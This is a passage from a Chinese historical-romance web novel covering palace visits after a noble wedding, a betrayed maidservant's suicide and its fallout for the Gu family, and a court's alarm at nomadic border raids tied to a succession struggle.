你不必拘谨。栋哥儿私下唤我姑母,你也随他唤我便是。” 皇后实在和蔼可亲, 一面与卢氏说着话,一面令人将她准备给侄媳妇的见面礼拿来赐予她, 然后又与卢氏介绍太子夫妇、百里澄和百里漾姐弟。 这些人里除了百里漾,其余的皆是见过卢氏的。卢氏的父祖皆为高官, 祖父更是爵封开国侯, 得益于此, 她自小便是湛京最顶层贵女圈中的一员,宫宴参加过不少,皇后、太子妃、长公主这些国朝最尊贵的女性亦是见过不少次的。 可这次与以往不同,以前卢氏见这些人持的是臣下之女的身份,如今却是作为崔栋之妻面见诸人,身份转变了,一时之间难以适应,紧张拘束是在所难免的。不过她到底是见过世面的,又有夫君崔栋和婆母李氏在一旁为她缓解解围, 一时的紧张不适过去后便又恢复了落落大方的从容姿态。 百里漾是头一回见到崔栋的这位新婚妻子,昨日迎亲时的间隙匆匆瞥见一两眼却不得见全貌,只知对方是一个品貌上佳的女子。今日见了,他发现卢氏的样貌是那种典型的鹅蛋脸,脸型圆润,微笑时眉眼弯弯,一眼看见时并不觉得如何惊艳,可越看便觉得越好看。 他只看了几眼,毕竟他现在的身份是一男子,一直盯着一名女子看这样的行为实在是过于失礼了。趁着皇后、李氏她们与崔栋夫妻说话的空档,百里漾借着喝茶的动作遮挡观察了一下崔栋夫妻的相处模式。 怎么说呢,感觉就像是皇后所说的那般,成了亲之后的崔栋确实给人的感觉与之前不大一样了。他的变化并不明显,但百里漾能感觉到他一举一动对卢氏的注意与关心,当卢氏踌躇不知如何回应时,他就会适时地将话头自己接过去,缓解了卢氏的尴尬无措。 看得出来,崔栋对他的这位新婚妻子还是很上心维护的。要知道一两月前他还是一副提起成亲就烦躁得不行的姿态,再看如今这副模样,小夫妻甜甜蜜蜜的,有时候小眼神一对视都快黏在一起了,看多了还真让人觉得齁得慌。 百里漾边吃点心边想,“果然是知子莫若母,舅母还真是为栋表兄聘了一位佳妇回来。”这位表嫂卢氏是舅舅舅母满意才选中的,如今崔栋自己也很满意喜欢,可以说是皆大欢喜了。 女眷们凑在一起说话,崔栋那边见卢氏适应得很好就坐过来与百里漾、太子说话了。太子问他,“昨日新婚可高兴了?” 太子昨日也去大将军府贺喜了,不过因为当日婚宴上人多过于热闹,他身子弱,担心被冲撞了,于是只出现了一会儿讨了一杯喜酒喝后就离开了。 崔栋摸着头嘿嘿一笑,没有多说,态度已经很明显了。 “既成了亲就是大人了,往日的心思收一收,好好过日子。”太子为尊,又是兄长,训了几句话。崔栋态度无比恭顺都领受了。 之后就是随便聊聊了。 皇后与李氏这对姑嫂向来关系亲厚,如今侄子娶了新妇,两个人凑在一起好似说不完的话,大多是围绕子女来说的。皇后看着已做妇人装扮的卢氏,与李氏笑道:“如今你可是聊了一桩心愿,来年等着抱孙便是。” “我至少还要等来年,殿下却早几年就抱上了,这些年我实是羡慕得紧了。”李氏瞧了一眼被皇后抱在怀里圆润可爱的阿荧,心里可稀罕了。她看了一眼百里漾的方向,又笑道:“等再过一段时日,殿下的新儿媳进门,也可盼着来年了。” 如今湛京之中谁人不知江都王与定国公之女八月便要大婚了。皇后想着用不了多久就能见到幼子在自己跟前成婚,心中大为宽慰,顺着李氏的话畅想了一番后,将目光投向了下方的百里漾。 百里漾接收到了自己阿娘的目光也明白其中的含义,但怎么说呢……他选择了假装没接收到,错开阿娘的殷殷目光继续与太子、崔栋说话。 一旁的百里澄瞧见了这一幕,忍俊不禁,结果被皇后精准捕捉到没好气地瞪了一眼,顿时就不敢再“放肆”了。毕竟,于婚嫁一事上,皇后对她也是有很大怨念的。对于这点,她心中还是很有数的。 热热闹闹说了好一段时间话便到了近午。新侄媳妇头一回来拜见,皇后是必要留饭的。早先就有吩咐过厨房准备,到了时辰便可直接呈上来。在用膳之前,皇后欲派掌宫令前去宣室殿询问皇帝是否要过来一道用膳。可掌宫令还没有迈出椒房殿的殿门,那边就打发人过来说皇帝不过来了,他与大将军等人自行用膳了。 今日崔预也一同入宫谢恩了。一家四口先去的皇帝那里,谢恩之后李氏带着儿子儿媳往椒房殿过来,崔预则是留在宣室殿与皇帝议事。皇后对他们不来似乎早有预料,也不以为意,令宫人摆饭了。 用过饭之后,李氏便带着两个小夫妻告辞了。今日他们进宫的目的已达到,也不好一直叨扰皇后。其余人见状也都纷纷起身向皇后告退。 百里漾亦是要出宫的人,便与李氏、崔栋夫妇同行一段路。出了宫门,李氏与卢氏婆媳俩乘坐马车,百里漾与崔栋骑马,一路慢悠悠地说着话。 崔栋道:“昨日可多亏有你。我阿爹的那些同僚们真真个个如狼似虎,酒量更是好得吓人,如饮水一般,若非你在前面拦着,我怕是早就醉成一摊烂泥了。”百里漾的身份到底是君,将他往身前一放,那些直鲁粗豪的武将武官们也不敢太过放肆,这不就将他从那些人手里解救出来了么。 他再次做出承诺,拍胸脯保证,“等明儿你成婚,我必定挡在前面,保管让你站得稳稳地入洞房。” “恐怕没有多少你发挥的余地。”百里漾想象了一下自己成婚那日可能会出现的场景,看着眼前的崔栋,忽然警惕起来,目光直盯着他,“只要你不闹我,我想我会很好。” 正如崔栋因为百里漾的身份高而拜托他帮忙挡酒一样,真到了大婚那日,湛京之中真的敢来闹他的人已经没剩几个了,太子不会做这样的事情,其余的人身份不够不敢放肆,也就只剩眼前的崔栋了。 崔栋:“……”他很想张嘴保证自己在那日绝对不会闹百里漾,但他发现自己做不出这个承诺,于是只能在百里漾的瞪视中眨眨眼睛装无辜。 百里漾都要气笑了,要不是顾忌着这厮刚刚新婚,他非要拽着这厮去校场狠狠揍他一顿。正好此时到了分开的岔路口,百里漾去与李氏告别,看也不看崔栋就骑着马走了。 “诶诶诶,五郎。”崔栋赶紧追上去几步,“玩笑,我说笑呢,别生气啊。三日后我在家中设宴,你可千万要来啊。” 百里漾没理他,骑着马愈发走远了。 “阿娘,外面夫君他……”马车之中,卢氏眼中有些许担忧。外面崔栋与江都王的动静其实她有分心关注着,以为崔栋惹怒了江都王。 “无事,他们之间玩闹,五王不是小气量的人。”李氏知道儿媳在忧虑什么,让她放宽心,继续与她说一些崔栋儿时的趣事。 大将军府要宴请的帖子也送到了定国公府颜漪的手里。与婚宴不同,这次宴会的主角虽然依旧是崔栋和卢氏这对新婚夫妻,但此次颜漪再去便是作为卢氏的好友前往赴宴。这是因为两人新婚,要互相向彼此的亲朋好友介绍彼此,让两边的人都彼此认识熟悉一下,顺便展示一下两人婚后的美满生活。 颜漪会收到请帖并不意外,她只是想到,此次宴会她若去,必然会再见到百里漾。不由自主的,那夜婚宴之上与百里漾的匆匆一面又浮现在她的脑海之中,与那时的好心情截然不同,此刻的她心中只剩下了对拿捏不定一些事情的惊疑不定。 因为今日的她从栎阳长公主口中得知了一件事情,她与母亲去云山寺祈福的那日,江都王亦去了。栎阳长公主只是随口一问,问她那日可曾见到江都王了。又得知江都王在云山寺停留的时间与她们的重合了大半,当时便是心下一凛。 栎阳长公主会有如此一问是认定了她那日应当在云山寺遇上江都王的,恐怕事先还与江都王告知过她那日也会前往的消息。他们那日都去了云山寺,可她确实没有见到江都王。且在云山寺的那日属实是发生了一件很不好的事情,若真是那么巧被江都王见去了……- 作者有话说:不好意思,晚了一点。 第50章 后续 此念一出, 颜漪不禁眉头轻蹙,认真思考此事的可能性。江都王既已提前从栎阳长公主处知晓那日她与母亲会至云山寺,他若同在, 不可能不前来相见。可既定的事实是她那日并未见到江都王,那么她猜测的可能十有八九是成真的。 最不希望看到的事情还是发生了。 在颜漪看来,江都王既已知晓她与顾晟开在云山寺之事,为何却依旧不声不响。为难的是一个人难以全然明了另一人的心中所思所想,她在这里苦苦思索, 甚至要对婚宴那夜江都王见她时的反应情态抽丝剥茧来层层解析。这样的做法实在累。她总忘不了江都王看她时眼中的澄澈纯然, 或许, 她不该如此去揣测他的心思。 不久后大将军府的宴会,江都王必定会受邀前往。到时相见, 许多事情总能说清楚的。 这到底是一桩麻烦事,在得到解决之前总令人心中不快。颜漪难免想起给她制造出这桩麻烦的罪魁祸首, 便问道:“顾氏那边可有何动静?” 三日之期已过,有些事情该出结果了。 初禾在边上伺候, 闻言她脸上先是出现了厌恶痛恨与嘲讽之色, 随即又有几分怜悯叹息之意, 最终归于平静,她回道:“那日之后奴婢便令人去顾宅打探,那边一切如旧。” 一切如旧,也就等于说此前发生的事情在顾宅这里一点水花都没有泛起,而对于顾晟开来说,那个为了他豁出性命做出了背主之事的婢女在他心里根本无足轻重,即便她死去,顾晟开心中连一丝波澜都不会起。 这都不能够说顾晟开绝情,因为他对那婢女根本没有情, 只不过是冰冷的利用,事结之后,哪还会管她死活。 颜漪默然。对于这个结果她早有预料,她知道顾晟开不会来,可还是心存一丝期盼,理智告诉她不可能,可情感让她有所期盼。如今来看,这些年积攒下来的几分兄妹之情到此也全然消散殆尽了。 初禾声音些许低沉,“方才管事那边来报,那婢子已撞墙而死。奴婢去看时,她刚咽气不久,脑袋撞出大洞,血肉模糊,眼睛睁得大大的。”据说那人临死之前死死盯着顾宅的方向,先是哀泣,然后就变成了对顾晟开的咒骂。 “你觉得她可怜?”颜漪轻叹一声后,再次问了初禾这个问题。 这次初禾不再起犹豫,“奴婢觉得她可怜,她被人欺骗,最终丢掉了自己的性命,只因信了不该信的人。” 颜漪:“她错信了顾晟开,我又何尝没有看错人呢。” 那婢女视顾晟开为最后的救命稻草,在绝境之中满心期待,可顾晟开的无情给了她最冰冷残酷的一击,他对她从头到尾只是利用,那些柔情蜜意的爱语、信誓旦旦的承诺不过是引她上钩的假象与幌子。她的结局在她决定顾晟开“赴汤蹈火”的那一刻就已经注定了。 颜漪不是心软之人。那背主之仆勾结顾晟开来害她、害她门庭,便已经注定了必死的结局。她给了三日之期,也不过是延缓那婢女的死期罢了。她闭眼又睁开,眼眸中又归于平淡,“母亲那边如何说?” “主母并未多言语,只是令人将她的尸身送去顾宅。” 定国公府将人送过去顾宅时,家中只有顾氏主母即顾晟开之母在。听闻定国公妇人遣人送来东西,她如往常般欣喜,令人将人迎进门来,对即将发生的事情毫无所觉。等她去到时,发现定国公府的来人并不是此前熟悉的面孔,甚至一个个态度冷硬,说话间也没有了以往对她的热络客气。 这让顾夫人察觉到了不对劲,但她一时没有多想,直至看到了地上那一团被麻布袋包裹的东西。那里面的东西明显看得出来是一个人,可怕的是这里面的人一动不动,而麻布袋上洇染了大片的血红,有些地方甚至呈现出黑色。 顾夫人不是没有见过这些东西的人。她的丈夫这些年以来贪花好色,身边养着一群的莺莺燕燕,争风吃醋的戏码上演多了手段就会趋向阴险歹毒,她是见识过的,也是见过死人的。 这麻袋里面是一个死人! 定国公府竟然给她送了一个死人过来?! 顾夫人简直难以置信,她怒气上涌,在问清情况之前堪堪压制住了,脸色却很难看,“这是何意?嫂嫂难不成叫你们给我送来一具尸体?!” 定国公府此次前来的人并没有为她解释的意思,语气冷硬,只是按照家中主母的意思传话,“我家主母说,这婢子既一心痴恋贵府公子,贵府公子亦有心,她自当成全。只不过可惜的是,这婢子今早突发恶疾而亡了。” 他说罢,不管顾夫人的阻拦,令人将麻袋的系口解开,将里面的尸体从麻袋中褪了出来。 尸体落到地面上,身体平躺着,脑袋却歪斜着朝向了顾夫人这一边,瞪得仿佛要从眼眶里跑出来的灰暗眼睛对上了顾夫人的眼睛,一瞬间将她吓得失声尖叫,“啊,走开!快把这东西带走,快带走啊!” “人既已送到,我等这边回去复命了。”定国公府的人才不管顾夫人吓得如何惊惧,为首之人朝她微微颔首,这就带着人要离开了。 “站住。”顾夫人急忙喝止住他们,她稍一低头就看到了那具死不瞑目的尸体,方才他们说的那些话更是让她万分迷糊不解,一指地上的尸体,怒不可遏道,“这就是你们对顾氏、对我的态度么,我到要去国公府问问这究竟是何道理?” 可不管她如何怒气勃发,定国公府的人面上的神情从始至终都没有变化过,任由奉命行事顾夫人如何说,他们能够回答的只有四个字“奉命行事”而已。 等夜晚顾晟开回到顾宅之时,顾夫人身边的婢女匆匆来请他,说是顾夫人病了。顾晟开皱眉,“今晨不是还好好的,怎么突然就病了?” 婢女道:“午后定国公府那边来了人送来一样东西,主母便气病了。” 顾晟开一听到“定国公府那边来人”脸色便不太好,眉间一瞬间便积压了阴云,变得阴鸷无比,又听到顾夫人是气病的,更是面无表情,抬脚跨出房门,快步往主院走。婢女连忙跟在他后面。 “晟儿,你可回来了。你不知道今日你舅舅那边送了什么骇人的东西过来,还是你舅母的意思。这怎么可能,必定是有什么误会,明日你请假一日,去问问清楚。”顾夫人躺在软榻上,一副虚弱的模样。 她近些年身体也确实是有些不大好,没有大病,可小病却是不少。太医来诊过脉,说她是愁思过度,还委婉地表示情绪来得太快容易伤身,且哀毁伤身,劝她戒怒戒怨。可顾夫人若是能够听得进太医的劝诫,也不会隔三差五地就要喝药请大夫了。 “阿娘,这件事情你不必管了。”顾晟开进门就听到顾夫人说这话,面色更冷,也不问她身体如何,直接就开口让她不管此事。 “怎么能不管?”顾夫人的情绪一下子就上来了,“这事必然是误会,你舅母必定是听信了心怀不轨之人的谗言,对你有所误会。她往日那般疼爱于你,你去解释她必然会听的。” 今日之事对她的冲击太大,尤其是定国公府来人的态度前所未有的生冷强硬,别看那时她似乎浑然不惧还要上定国公府去讨要说法,实则之后也确实有些怕了。 那具尸体被送上门来,不可能就这么扔在那里不处理,可那是一个死人,她一见到就忍不住心里犯怵,更不敢对上那双瞪大的宛若淬满了毒的眼睛。她本来想令人将其扔到城外乱葬岗去,可之前那些人话里话外的意思皆是此事与她儿子有关。可思来想去,这事还要问儿子,她只能让人将尸体暂且留着等儿子回来再处置。 “你告诉阿娘,到底发生了什么?”顾夫人快速从软榻撑起身体,皱着眉看着儿子。 她并非不知好歹的人,在丈夫的事情上她兴许拎不清,可在对待有关定国公府的事情上,她还是有几分理智的。绝对是出了什么她不知道的事情,并且这件事情还很严重,否则她那位向来颇为照顾他们母子的长嫂绝对不会如此不给他们、不给顾氏脸面。即便是按照今日来人的说法,至多不过是她儿子看上了定国公府中的一名婢女罢了,这算是什么不得了的事情,值得这样大题小做。 可若真只是这样的小事,以她对长嫂曹氏的了解,绝对不至于让她令人直接将婢女的尸体送来。那尸体她后来强忍着恐惧恶心看过,死状凄惨,看得出这人是自己撞死的,且死前必定是满腹怨恨,否则不会死都不肯闭眼。 顾夫人想知道,儿子到底做了什么事情惹得长嫂厌恶了? 可顾晟开显然不想告诉她,无论她怎么问,他都没有回答,只一味地告诉顾夫人让她不必管,也不用去定国公府说什么,更让她日后少去定国公府。 “这事怎么能不说清楚。”顾夫人更加着急了,“你我母子如今唯一的依靠就只有你的舅舅,你以为你的父亲靠得住么?他只会惦记外面的那一群不要脸的浪蹄子和野种,何时将我们母子俩放在心上。何况顾氏落寞至此,若无你舅舅的扶持,你如何能够振兴顾氏?” 50-60 第51章 战事 “够了。阿娘, 不要再说了。”顾晟开怒喝一声,面色无比阴沉,连顾夫人都一时被他骇住了。意识到自己的失态, 他压了压怒气,勉力恢复成平日的模样,沉声告诉顾夫人,“阿娘你听我的,若是真的为我好就不要去定国公府, 此事你就当作没有发生过。” 随后无论顾夫人如何唤他, 顾晟开依旧头也不回地大步离开了。他大步穿行在无边的夜色里, 夏日的热气也未能融化他脸上的寒霜。他很清楚云山寺的事情过后,他与定国公府基本上是撕破脸了。并非是他不知道做这件事情的后果, 他只是实在不甘心。他想去找颜漪问个明白,可他根本没有机会见到颜漪, 最后只能选择使用一些手段达成目的。 他费了那么多的心思只为见到颜漪一面,向她倾诉自己的爱慕。可颜漪的冷漠决绝犹如数九寒天当头给他浇下了一盆冷水。他不服, 凭什么颜漪会选择了一个突然冒出来的百里漾。哪怕她说的是因为圣旨赐婚而不得不从, 他心里都会好受许多。 顾晟开想不明白事情为什么会变成这样, 明明在此之前一切都是好好的,而不是现在这般。不但表妹颜漪拒他于千里之外,而且他连定国公府都不能再去了。一切都回不去了,而这一切变化的缘由皆因为江都王百里漾,是他从他的手里抢走了心爱之人。 尚不知道自己已经被顾晟开认定为“横刀夺爱的恶人”并记恨上的百里漾正在处理江都那边送来的政务。虽说他此次来湛京命范国相监国,一应事务由他负责统理处置,但总有一些是范国相自己不敢轻易决断的。于是,江都那边便不时有快马加急将一些文书送来湛京的江都王宅。 范国相经验老道,寻常的事务自己就能够处置了, 稍不一般的即使不能立即决断也能周旋暂缓一段时日,主要也是惦记着自家大王即将迎娶王妃,想让大王专注于湛京之事不必分心。可这次的事情不同寻常,是兵事。 “这才夏日,离渊竟派兵入境来劫掠了?”百里漾将手中关于江都一带边境遭受离渊骑兵劫掠的奏报搁下,双眉紧缩,看向下首的属臣。 属臣姓何名光宴,亦是百里漾信重的臣子之一,此次百里漾来京岁贡选他随行也是看中他的能力,如今湛京之中有关于江都王的事务大多也是他在负责的。他面色沉凝道:“事出反常,怕是离渊内部生出了什么变故。” “离渊扰边,恐不止江都一处,其他地方不知如何,朝廷这几日估计也收到奏报了。”百里漾沉吟片刻,忧愁道,“若是多处受到侵扰,边境可能真的要起战事了。” 战事一起,交战双方刀兵相见,免不了要生灵涂炭,这般景象总是令人不忍见到。大衍如今立朝不过二十几年,天下也才刚稳定下来不久,谁都不愿意再起战事。可这种事情不是一方说不愿意打就能不打的,对面是离渊,他们向来不是安分的主。 “现在情况如何尚不知,我们也不必太过悲观。”百里漾稳了稳心神,看向何光宴说道,“稍后我入宫一趟。” “大王且去,此处有臣。”何光宴抬手一礼,躬身道。 入宫后百里漾先去的东宫,太子见到他来很是高兴,问他怎么有空过来了。百里漾将奏报从衣袖中掏出来递给太子,说了离渊扰边的事情,太子的面色一下子变得凝重起来。 百里漾见状就知道他还不知晓此事。江都是他的封国,离渊侵扰江都边境的事情他作为一地之主知晓的速度总要比朝廷快些,他道:“此事实在不寻常,就怕离渊真的意图再次兴兵南下进犯。” 离渊在大衍的北边,那里是一片广阔无际的草原,生活着许多以游牧狩猎为生的人。草原天气变化莫测,不仅如此还有来自野兽猛兽的威胁,为了抵御风险,不知从什么时候开始,草原上的人聚集成群汇集成了几十支的部落,这些部落过去相互之间为了争夺水草更为肥美的地盘而常年进行征战,偶有南下来劫掠的,但也只是一小股人马,来去匆匆,不成气候。但从前朝中期开始,形势就开始有了变化。 那时的北部草原上一直支名为“离”的部落中出了一位狠人,他是“离”部落首领的第十八个儿子,他手刃了十二个兄弟,踏着兄弟亲族的鲜血铺就的路坐上了首领之位。随后的二十多年之中,他亲自率领部落中的骁勇善战之士不断对草原的其他部落进行征伐兼并,不服他的都被血洗吞并了,打不过又不想死的就降了,向他俯首称臣,此人由此便成为了第一个一统草原诸部的人。 此人于是自立为王,建立离渊国,号称大汗,令其余部落年年向他进贡牛羊等物。但他的统治也仅仅维持了三十年便因为晚年诸子、诸侄争夺汗位而分崩离析,草原上又再次出现了十几支互相攻伐、谁也不服谁的部落势力。 这些游牧部落常年逐水草而居,民风彪悍,尤善骑射,从前朝中后期开始经常南下侵扰劫掠、杀戮边境百姓,为患边境将近上百年之久。前朝时不是没有人想过要解决这个大麻烦,但难度很大。离渊的军士几乎人人都是马上骑兵,他们往往都是抢完就跑,几乎不与守军打拉扯战,而这边边境的守军基本上是步兵,没有配备机动高效的骑兵,根本追不上,所以一直以来面对离渊的侵扰都是被动防守。 哀帝继位之时,北面的草原上再次崛起了一个强大的部落,部落汗王乃是此前离渊国那位大汗的九世孙,他再次打服了草原上的所有部落,重新建立离渊国,被共尊为大汗王。在他的带领之下,北面的离渊成为了这边王朝的巨大威胁。哀帝死后,前朝崩溃,诸方势力割据,天下大乱。离渊曾趁机南下,试图攻占州郡,被当时几个势力联合逼退回去。 大衍初立之时,高皇帝曾亲自领兵与离渊的部落狠狠打了几场,甚至亲率五千骑兵向北追击离渊残部,可惜因为不熟悉离渊的地形,一进入茫茫草原就迷了路,后勤补给粮草断了,骑兵最后只回来了不足一千人。 那一战大魏损失惨重。 离渊部落那边想着大衍初立并不稳当,于是在次年又集结二十万大军南下,大衍调兵遣将应战。双方又狠狠打了几场,互有胜负。然而就在战局僵持之时,离渊那边突然传来大汗王病重的消息,离渊匆匆退兵,并与大魏签订了休战盟约,约定互不相犯,勉强维持了十几年的和平。但谁都知道这只是暂时的,离渊背地里一直不安分,大衍这边也始终在防范着。 百里漾知道这事是避免不了的,却不想它来得如此之快。 太子当即道:“离渊那边的形势怕是有了大变化。”他为嗣君,上朝参政多年,敏感度是有的,甚至极为敏锐,“乞罗扎汗年迈,底下子侄多野心勃勃之辈。离渊突然有大动作,怕是与汗位承继有关。” “莫非乞罗扎汗定下了继承人之位?”百里漾不由道。 离渊现在的大汗王名为乞罗扎汗,他在离渊的威望很高,也是一个堪称传奇的人物。乞罗扎年轻的时候是离渊第一勇士,据说力能搏虎狼,曾经身陷狼群,通过搏杀狼王使群狼畏惧而得以生还。也因此被上一任的大汗王看中了他的勇猛凶悍让他做了大女婿。 乞罗扎后来在替上任大汗王征服不听话的部落的过程中立下了赫赫功劳,并数次救老汗王于险境,由此得到了老汗王的信任和器重,逐渐掌握住了权柄,拥有了一批追随者。到了老汗王病重的时候,底下的儿子侄子们为了争夺汗王之位相互打了起来,反倒让乞罗扎抓住了机会,弄到最后反而是他从老汗王那里继承了所在部落的首领之位,也顺带继承了大汗王的位子。 但乞罗扎以女婿之身得位引来了很多人的不满,这些人不仅存在于本部落内部,也存在于本部落之外的其他部落。但他很快以雷霆之势杀光了本部落内部的所有反对者,后来又通过一系列的手段和操作彻底坐稳了大汗王的位置。 乞罗扎汗年盛力强之时犹如猛虎盘卧,无人敢有异心。可一旦他老去,底下的幼崽们又逐渐长成,年青力壮,身后各有一大堆拥趸助其成势,个个都想角逐那猛虎百兽之王的位子。偏偏乞罗扎汗特别能生,他底下的儿子连同子侄加在一起将近二十人,能力出众的不少,背后皆有势力支持,要从这近二十人中选出继承人且不生出大的波动,想想都知道极难。 所以百里漾很快就否定了这个猜测。 “岂有这般容易之事。”太子亦摇头,“情况到底如何,这几日就可见分晓了。” 太子说的不错,边境这段时日的确出事了,不止江都国的边境遭到了离渊的侵袭劫掠,定安国、长夏国皆有奏报进京,几处甚至数次侵扰,好在皆被勇武的将士击退了。其中定安国急传进京的奏报还提到定安王因奋勇杀敌被流矢中伤臂膀,所幸并无大碍。 太子向皇帝进言,定安王勇武,退敌有功,请嘉奖之。皇帝允准- 作者有话说:起名字是个问题,大部分是我脸滚键盘打出来的,没啥实际意义,我也就是这点水平了,请大家见谅。 第52章 离渊 定安国边境受到离渊侵袭劫掠有两次, 第一次是在六月二十六;第二次则是六月三十,这次是定安王披甲亲自率领将士与离渊骑兵对战。而定安王是六月十五定始从湛京出发返回安国,也就是说, 定安王是在回归封地的路上接到了离渊侵袭的奏报后当即快马加鞭赶赴边境,随后便与第二次来侵袭的离渊骑兵碰上并主动带兵迎击。 百里漾听闻此消息的时候,不由得心中叹服。百里洪野心勃勃觊觎储君之位是真,可他确是真有本事有胆气之人,凡有冲锋杀敌之事, 从不退缩。若是换了自己, 百里漾也不知道自己能否做得比百里洪更为出色。 可欣赏归欣赏, 赞叹归赞叹,定安王觊觎东宫之位一日便是他们的敌人, 他们与他之间是做不了和睦友爱的兄弟手足的。定安王越是出色能干,对他们则越不利。这一点, 百里漾心中还是有数的。 “他有本事,却更有贪功冒进之心, 反而显出短处来。”百里澄说道。她并不否认定安王百里洪的本事, 毕竟百里洪算是百里氏那些庶出之子中最为出色的那个, 但这在她看来还不够,至少他的本事并不足以掩盖他的缺陷。 百里漾想到了定安国送来朝廷的那份奏报,说定安王遇离渊骑兵二百之众,率众奋勇迎击,却敌三十里,不幸中流矢,仍尽诛之。仅从奏报上来看,此战乃是定安王身先士卒奋勇杀敌,在负伤的状况下依旧率领将士剿灭了离渊来犯的骑兵。可只要对与离渊作战的兵事有过几分了解就能发现奏报上隐藏的问题。 历来离渊来犯, 绝大多数时候来的都是骑兵。离渊人养马,有大片的草原可以放牧,他们的将士几乎人人都能骑马射猎,每次来也多是以烧杀劫掠为目的,所以往往都是小股人马过来抢完就跑,几乎不与守军打拉扯战。而大衍这边作为守方,守军基本都是步兵,能够将人赶走却很难追得上四条腿跑路的离渊的骑兵。若是在己方的地盘拦不住,离渊骑兵一旦跨过边境线进入茫茫草原就基本上追不上了。 基于以上原因,大衍边关的驻守将士面对时不时来犯的离渊骑兵都是被动防守。若能够将人留下最好,若是留不下也少有去追击的。因为一旦越过了边关防线,大衍就基本丧失了主场优势,而论对草原地形的了解,有谁能够比得过离渊人。到时迷路不说,还容易陷入离渊骑兵的提前设好的陷阱之中。此类事件过去也不是没有发生过的。 奏报上言及“却敌三十里”,也就是说,定安王此次与离渊作战,将人打跑了还不算完,更是亲自带兵去追击,他受箭伤也是在追击敌人之后,所以是十有八九是遭到敌人的埋伏了。若非最后将敌军尽数歼灭,取得了全胜,这个事情就换得一个性质了,百里洪少说也要担一个“轻敌冒进”的罪名。 定安国最靠北的郡与离渊毗邻,不仅如此,边境线还很长。往年离渊的人跑过来劫掠,定安国这边也是他们喜欢跑来撒野的地方之一。定安王就封之后,凡遇离渊突袭多是亲自领兵迎击,过往也有过越境追击的,他的勇武之名也是由此得来的。 百里漾知道定安王是想凭借战功去争夺太子之位,所以他需要为自己积攒战功,如今大衍能够出军功的地方也就是与离渊对战了。可离渊人不是日日都来的,即便来了也不是那般容易就能将人变成斩获和战功的,而且将人赶跑与尽数歼灭所获得的战功也有很大的区别。定安王每一次遇敌都勇悍不惧不假,但他想要战功也是真的。 但百里漾还是觉得有些奇怪,“只是一小股来试探的离渊骑兵罢了,情况尚不明晰,冒然追击,谁知前方有什么在等着。” 这才夏日离渊就跑来劫掠了,也不曾听闻草原上遭灾,离渊也未到粮食紧缺、日子难过的时候,怎么想都知道不正常。定安王又不是蠢人,与眼前的这点战功相比自然是自己的安危与将士的周全更为重要些,怎么不应该去追击的。故而百里漾在知道这事的时候颇有些意外以及不可思议。 百里澄看了一眼想不明白的弟弟,语气有些飘然不在意,更像是一语道破真相,“还能因为什么,此次回湛京受了许多挫折,想从别的地方找补回来罢了。” 这是“越挫越勇”了啊。 百里漾一想这也能解释得通。 定安王就封多年再回湛京应当是抱有许多目的来的,其中最重要的当是想知道皇帝对他的态度以此来看看自己当太子有几分胜算,结果估计是令他大为失望。可定安王不是轻言放弃的人,此时不行不代表以后不成。皇帝不属意他,那他就努力做出更多的成绩让皇帝改变主意来选择他。 换一个角度也可以说定安王是受到了“刺激”,因此让他变得急切,急切地想要证明自己。不过这次中箭也能让他冷静下来了。这一次是运气好只伤了臂膀,若是下次没这般好运气,被流矢射中的不是臂膀而是脑袋、脖子这些致命之处呢。 定安王的事情到这里就略过不提了,眼下更为要紧的还是离渊的问题。出了这事,整个朝廷都因此紧张忙碌起来。 离渊如此反常,大衍这边总要摸清楚他们在搞什么幺蛾子。好在自高皇帝即位之初五千骑兵追击离渊入草原后险些全军覆没之后,大衍对离渊一直抱有警惕防范之心,不仅加强了边关防线,还不断地往草原之中输送探子。没过几日,从草原上传来的密报被送至皇帝的御案之上。皇帝即刻召集朝中重臣等前来商议,太子、江都王百里漾也赫然在列。 事情搞清楚了。离渊这次来侵袭不是为了抢夺粮食等物资的。近几年草原上的雨水丰沛,更不曾遭受严寒、干旱等天灾,疯长的牧草将牛羊马皆养得肥壮,离渊人并不缺少粮食衣物。既不是为粮食衣物而来的,那么事情就走向了一个大家都不是很愿意看到的局面上。 密报传回的是有关离渊最上层贵族的消息,内容也不多,主要是说乞罗扎汗病重,离渊内部再次掀起继承人之争以及这几次的离渊侵袭之事是乞罗扎汗底下的两个儿子搞出来的。 百里漾听了这个消息神情一凛,脸色不由凝重。周围之人也多与他一般神色。 离渊那边如今的情况是老汗王病重,新汗王即将上位。 但这里面卡着一个问题,那就是乞罗扎汗迄今为止并没有定下自己的继承人。他的儿子和侄子太多,背后又大多有母族势力支持,但凡立哪个其他人都不会服。乞罗扎汗年盛强势之时此事还可以拖延下去,压着下面不使生乱。可人始终是在一日日老去的,百兽之王也有老去咬不住猎物的一日。他快要死了,可他的继承人是谁的问题一直得不到解决。 可以预见的是,不管乞罗扎汗死后谁继任新汗王之位,离渊内部少不了要发生内乱。而新汗王继位之后,为了树立自己的权威、稳固自己的地位,他十有八九会选择如同当年的乞罗扎汗一样挥兵向南,届时大衍边境必然又要起战事。 这种未来走向其实大衍这边未必没有预料过,从高皇帝到如今的皇帝都在厉兵秣马、修齐武备候着那一日的到来。有准备是好事,但现在情况有所改变。 现在乞罗扎汗依旧是病重,继承人依旧没有选出来,可他自己提出了一个如何确定继承人的方案,那就是“谁功劳最大谁就是下一任汗王”。 可如何才能算是功劳最大? 以往获取功劳可以是征伐其他部落、抢夺他们的牛羊、女人,也可以是讨伐反叛不臣服的部族,这样的功绩是最大的。可离渊再次立国之后,草原上所有的部族都臣服了,大家都是离渊国的人,哪里还有什么征伐、讨伐之事。也就是说,现在乞罗扎汗的那些儿子和侄子们想要立功就只剩下了一个途径——南下。当年的乞罗扎汗走的也是这条路,而且他走的很成功,彻底确立了他大汗王的威信,无人不服,无人有异议,一直到今日。 也就是说,大衍与离渊的战事要提前了。本来原先预计是在新汗王继位之后,大衍这边想着老迈病重的乞罗扎汗少说多少都会拖上一两年才死,没想到反倒因为他死之前要选继承人而导致战事提前来到了。显然,之前边境的几处侵扰突袭就是那些候选人在试探了。 “打就打,真当怕他们不成。乞罗扎的那些崽子们敢来就让把他们的脑袋通通都拧下来。” 大衍立朝才二十来年,多数臣子是经历过前朝末年那十几年战乱的,血性尤在,又记着高皇帝当年追击离渊人入草原遭埋伏险些全军覆没的耻辱,想着一雪前耻,更没有一个是怯战的。 可两国交战不是小事,如今的大衍也刚从战乱后的苍痍恢复过来,天下承平未久,百姓们刚过上安稳的日子,若是再起战事总归是不好的,而且打仗除开调兵遣将还要考虑军费的问题,辎重粮饷都要花钱,国库也才富裕没几年。 